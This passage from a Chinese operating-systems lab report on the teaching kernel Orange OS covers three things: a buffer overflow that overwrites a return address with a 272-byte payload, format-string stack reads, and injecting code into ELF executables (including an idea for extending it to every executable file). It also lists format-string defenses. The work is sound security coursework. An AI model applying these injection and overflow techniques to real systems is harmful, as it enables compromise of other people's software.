00 00    movl   $0x1828,(%esp) 23. 102e:   e8 3b 00 00 00          call   106e <printf> 24. 1033:   c9                      leave 25. 1034:   c3                      ret 27. 00001035 <main>: 28. 1035:   55                      push   %ebp 29. 1036:   89 e5                   mov    %esp,%ebp 30. 1038:   83 e4 f0                and    $0xfffffff0,%esp 31. 103b:   83 ec 10                sub    $0x10,%esp 32. 103e:   c7 04 24 60 2b 00 00    movl   $0x2b60,(%esp) 33. 1045:   e8 b6 ff ff ff          call   1000 <bufferoverflow> 34. 104a:   c7 04 24 4a 18 00 00    movl   $0x184a,(%esp) 35. 1051:   e8 18 00 00 00          call   106e <printf> 36. 1056:   c9                      leave 37. 1057:   c3                      ret 38. 1058:   66 90                   xchg   %ax,%ax 39. 105a:   66 90                   xchg   %ax,%ax 40. 105c:   66 90                   xchg   %ax,%ax 41. 105e:   66 90                   xchg   %ax,%ax   由dump.txt可以分析出如下的栈布局，且shellcode函数的地址是0x00001021。最终我们构造的payload为0x108+0x8=0x110=272 字节，其中，前268个字节都是我们随意填充的非0值，最后4个字节是shellcode函数的地址，从而覆盖bufferoverflow函数原本的返回地址，因此在bufferoverflow函数执行完之后，就会返回到shellcode函数。    我们在没有调用shellcode的情况下输出了"Hello, DP. Bufferoverflow!\n"这串字符串，说明返回地址已经被更改。如下图所示：   4.3讨论和未来工作4.3.1 如何预防格式化字符串漏洞？ 利用格式化串读写越界漏洞，攻击者能使进程崩溃和读写任意地址。在本实验中，构造str为"%d"即可获取到栈中存储的数据值，如果Orange OS实现了"%n"的话，也可以构造相应的str来实现写栈中数据，从而造成非常大的安全隐患。可以采取如下的一些措施来预防格式化字符串漏洞：  • 监控进程的外界输入，凡是输入内容为格式化参数，都认为会产生格式化串读写越界；  • 通过在处理机执行期间加强对格式化函数的写操作指令进行边界检查，动态防御格式化串写越界；  • 在程序内存布局上，通过开辟另外一段内存来保存起始和终止地址的内容来判断当前内存写入是否发生格式化串读写越界；  • 通过保存紧邻最后一个格式参数之后的内容来比较写入是否发生格式化串读写越界；  • 通过保存紧邻格式化函数输入参数边界之后的数据，当格式化串读写越界发生时恢复被破坏的数据。 4.3.2 工作局限性讨论 对于可执行文件的破坏，我们构造的test2.c 可以很好地注入恶意代码但不破坏原有功能，并且也没有修改原elf文件的大小。但这种方法的通用性是比较差的，因为我们是使用010 Editor针对性地分析了command文件夹下的可执行文件，寻找的是代码节前的一块全0区域，也就是说攻击者事先知道了要注入的可执行文件的结构。因此如果要使用test2.c去对其他可执行文件进行注入的话就存在两个问题：一是代码节不一定是第二个节；二是代码节前面不一定有足够的0。  此外，注入方法是"test2+可执行文件名"，也就是说一次是对一个文件进行注入。如果要实现查找OS中的所有可执行文件进行注入的话，其实也很简单。因为我们在任务二中实现ls指令时已经编写了search\_dir 函数，该函数查找当前目录下的所有文件名。我们只需要在test2之前使用search\_dir函数找到所有文件并依次判断是否为elf文件，是的话就进行注入，否则跳过。但是在这里，考虑到command文件夹下还有kernel.bin文件，它也是一个elf文件，如果对其进行注入的话可能会导致整个OS都无法正常运行，所以我们这里选择让用户自己指定要注入的elf 文件。  另外，对于第二种方法实现的注入攻击，成功限制较高，需要对已有的文件进行计算，计算出地址后根据地址攻击。  对于缓冲区溢出，我们主要是在buf里面填无用的非0值，然后将返回地址覆  盖为shellcode函数的地址。这种方法可以成功进行缓冲区的注入。  但这种方法也存在缺点：  • 需要反汇编出恶意函数的地址，且程序稍微改动之后，函数地址可能就发生了变化，因此需要反复确认。  • 需要我们反汇编可执行文件之后，通过汇编代码分析出栈的布局特别是返回地址和buf之间的偏移，构造的payload必须刚好把返回地址覆盖掉。这整个的过程是比较繁琐的。 4.4本部分小结 本部分主要是分析了Orange OS中存在的三个安全问题：格式化字符串漏洞、可执行文件的破坏和栈溢出漏洞。我分章节介绍了这三种漏洞的原理以及具体的利用方法，然后讨论了这些方法的局限性以及可能的改进方向。格式化字符串漏洞的原理是printf函数没有对参数进行检查，若用户构造恶意的格式化字符串，就可以实现读写栈中数据，造成严重的安全问题。可执行文件的破坏是由于Orange OS本身在执行可执行文件时没有对其进行校验，我们可以在代码节前寻找一块全0区域填充恶意代码，然后返回原入口地址继续执行原来的功能。栈溢出漏洞则是返回地址为恶意函数地址，可以成功对存在内存破坏漏洞的代码进行缓冲区溢出，控制返回地址到指定的位置。 | | | | | | |
| 四、实验结果总结  （对实验结果进行分析。并理论联系实际，思考并列出本实验对应的OS原理的知识点，并说明本实验中的实现部分如何对应和体现了原理中的基本概念和关键知识点。） | | | | | | |
| 1. 任务一中，我结合了本学期的几次小实验有关进程、中断、内存管理的内容，以及根据老师在验收过程中给出的反馈，实现了一个主要能够使用多级反馈队列算法来进行进程调度展示的简易os，其中具有题目所要求的内存分配以及调度算法性能统计的功能，并且具有完善的Makefile，完美实现了题目的要求。 2. 任务二中，完成了实验指南中的所有要求，编写7个可执行程序（test、touch、rm、ls、cat、cp），并编译生成存储在文件系统中，并利用系统调用，在shell中调入所编写的可执行程序，启动并执行进程，进程结束后返回shell。   3. 任务三中，我完成了实验中的所有要求，实现了shell的多任务执行和多任务并行。  （1）用符号"&" 来分割不同的命令，并且使用二维字符串数组multi\_argv来保存用户输入的多条指令。  （2）采用父进程循环fork出所有子进程的思路，在循环中如果当前进程是父进程，则执行wait()，如果是子进程则调用execv执行，成功实现了多任务执行。  4.在任务五中，我分析了Orange OS中存在的三个安全问题：格式化字符串漏洞、可执行文件的破坏和栈溢出漏洞。并构造了相应的代码进行漏洞利用。  （1）格式化字符串漏洞的原理是printf函数没有对参数进行检查，若用户构造恶意的格式化字符串，就可以实现读写栈中数据，造成严重的安全问题。  （2）可执行文件的破坏是由于Orange OS本身在执行可执行文件时没有对其进行校验，我们可以在代码节前寻找一块全0区域填充恶意代码，然后返回原入口地址继续执行原来的功能。其实我一开始还尝试过新增一个节，但是这样的话需要改的地方实在太多，很多的偏移量都需要修改。使用010Editor分析后发现，代码节的前面刚好有很多无用的0，可以考虑扩充代码节，在其前面注入shellcode。需要注意的是，为了不破坏原来的功能，在执行完shellcode之后需要返回原来的入口地址。为此我们需要在shellcode中预留保存原入口地址的位置，从而在执行完shellcode后就可以返回原入口继续执行正常功能。  （3）可执行文件的破环的方法二是在方法一的基础上进行的，是直接计算地址，局限更多，需要根据不同的文件更改地址，不太可取，但能用。  （4）对于栈溢出漏洞，我的思路是利用buf覆盖ret\_addr，在buf里面填无用的非0值，然后将返回地址覆盖为shellcode函数的地址，可以成功进行缓冲区的注入。 | | | | | | |
| 五、个人分工及心得体会  （每个人分别填写自己在本次实验中的分工，并总结实验的心得体会。） | | | | | | |
| 本次实验，我实现了任务一、任务二、任务三、任务五的全部要求。  代码添加是要建立在已有的代码的基础上的，充分理解了源代码，才有进行下一步的可能。 | | | | | | |